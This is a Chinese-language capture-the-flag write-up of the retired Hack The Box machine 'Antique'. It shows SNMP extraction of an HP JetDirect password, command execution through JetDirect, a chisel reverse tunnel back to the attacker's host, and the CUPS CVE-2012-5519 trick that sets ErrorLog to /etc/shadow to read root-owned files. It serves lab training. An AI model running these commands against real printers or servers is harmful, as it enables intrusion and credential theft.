概述 (Overview)
HOST: 10.10.11.107
OS: LINUX
发布时间: 2021-09-27
完成时间: 2021-10-10
机器作者: MrR3boot
困难程度: easy
机器状态: 退休
MACHINE TAGS: #CVE-2012-5519 #telnet #Printer #chisel
攻击链 (Kiillchain)
使用 Nmap 对目标服务器进行开放端口,通过 SNMP 服务协议获取 HP JetDirect 服务的密码,登录 JetDirect 服务后运行内置命令拿到立足点。将本地端口进行转发,并使用 CUPS 服务的历史漏洞读取 ROOT Flag。
枚举(Enumeration)
老套路,使用 Nmap 对目标服务器进行开放端口扫描:
PORT STATE SERVICE VERSION 23/tcp open telnet? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: | JetDirect | Password: | NULL: |_ JetDirect
从信息中可知,目标服务器仅开放了 23 端口,识别出的服务为 telnet,一般 telnet 命令可用于登录远程主机,对远程主机进行管理。
Port 23 - Telnet
让我想起一件很久以前的趣事,2015年还在做 PHPer 的时候,一次吃午饭的路上和老领导聊天,他问我:**目标企业的路由器暴漏在外网,你会用什么命令进行登录,后续使用什么命令访问目标服务器的内网?**当时我寻思了很久,ssh、ftp均被pass,因为在老路由器中大多数不会提供这两种服务。吃完饭后他告诉我是 Telnet,才想起忘了这个命令,因为对当时的我来说这个命令实在是用的太少,下意识忽略了。可能他那个年代的人,早期逛互联、BBS时用的均是 Telnet ,所以运用的比较深。
使用 Telnet 命令进行连接,会得到返回的信息: HP JetDirect,从 google 得知它是打印机服务器的指纹信息。
# telnet 10.10.11.107 23
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.
HP JetDirect
Password:
立足点(Foothold)
随后通过 exploit-db 进行搜索,会得到一个标题为“HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure” 的漏洞信息,通过 SNMP 服务可以获得设备密码信息。
SNMP - 简单网络管理协议 是一种用于监控网络中不同设备(如路由器、交换机、打印机、物联网…)的协议。详见:161,162,10161,10162/udp - Pentesting SNMP - HackTricks
而 SNMP 服务会暴漏 161 UDP 端口,所以可以通过 Nmap 进行扫描:
# nmap -sU --top-ports 10 -sV 10.10.11.107 -oA udp
...snip...
161/udp open snmp SNMPv1 server (public)
...snip...
可以看到它是开放的,使用 kali 内置的 snmpwalk 命令及可获得设备密码:
# snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
将得到的 binary 内容传成 ascii:
import binascii
s='50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 11 9 122 123 126 130 131 134 135'
binascii.unhexlify(s.replace(' ',''))
当然,也可以用我搭建的在线工具:CyberChef
运行python脚本后得到设备密码:P@ssw0rd@123!!123,使用它成功登录 HP JetDirect 服务。
运行内置的帮助命令得到一个名为 exec 的指令,说明中也告诉了我们可以通过它执行系统命令。使用它成功拿到目标服务器的立足点:
权限提升(Privilege Escalation)
简单的进行了下信息收集,发现有个服务运行在本地的 631 端口上,通过 CURL 进行访问得到 title为 “Home - CUPS 1.6.1”:
netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 10.10.11.107:23 10.10.17.64:59176 ESTABLISHED tcp 0 13 10.10.11.107:44324 10.10.17.64:9900 ESTABLISHED tcp6 0 0 ::1:631 :::* LISTEN
根据服务信息和版本进行搜索,发现存在 CUPS 1.6.1 Root File Read(CVE-2012-5519) 漏洞。
CUPS 允许 lpadmin 组中的用户使用 cupsctl 命令更改 cupsd.conf 文件 。此命令还允许用户指定 ErrorLog 路径。 当用户访问 “/admin/log/error_log 页面” 时,以 root SUID 运行的 cupsd 守护程序读取 ErrorLog 路径并以纯文本形式回显它。简而言之,如果 ErrorLog 路径指向那里,则可以读取 root 用户拥有的文件。
尝试复现,因为服务监听的是本机回送地址所以需要进行端口转发,这里用到的工具是 chisel。
# kali ---> ./chisel server --port 8888 --reverse
# 10.10.11.107 ---> chmod +x chisel && nohup chisel client 10.10.17.64:8888 R:631:127.0.0.1:631 > /dev/null 2>&1 &
在 kali 上访问转发出来的 631 端口,检查是否转发成功:
当在目标服务器中上运行 cupsctl ErrorLog="/etc/shadow"
后,访问漏洞产生的任意文件读取的页面(依次进入 “Administration” 页面中的 “View Error Log”),就能查看 root 账号的密码 hash。
所以,通过这种方式可以直接读取 root.txt 文件获取 flag,而获取会话上的完整权限提升则可以使用 PwnKit 漏洞。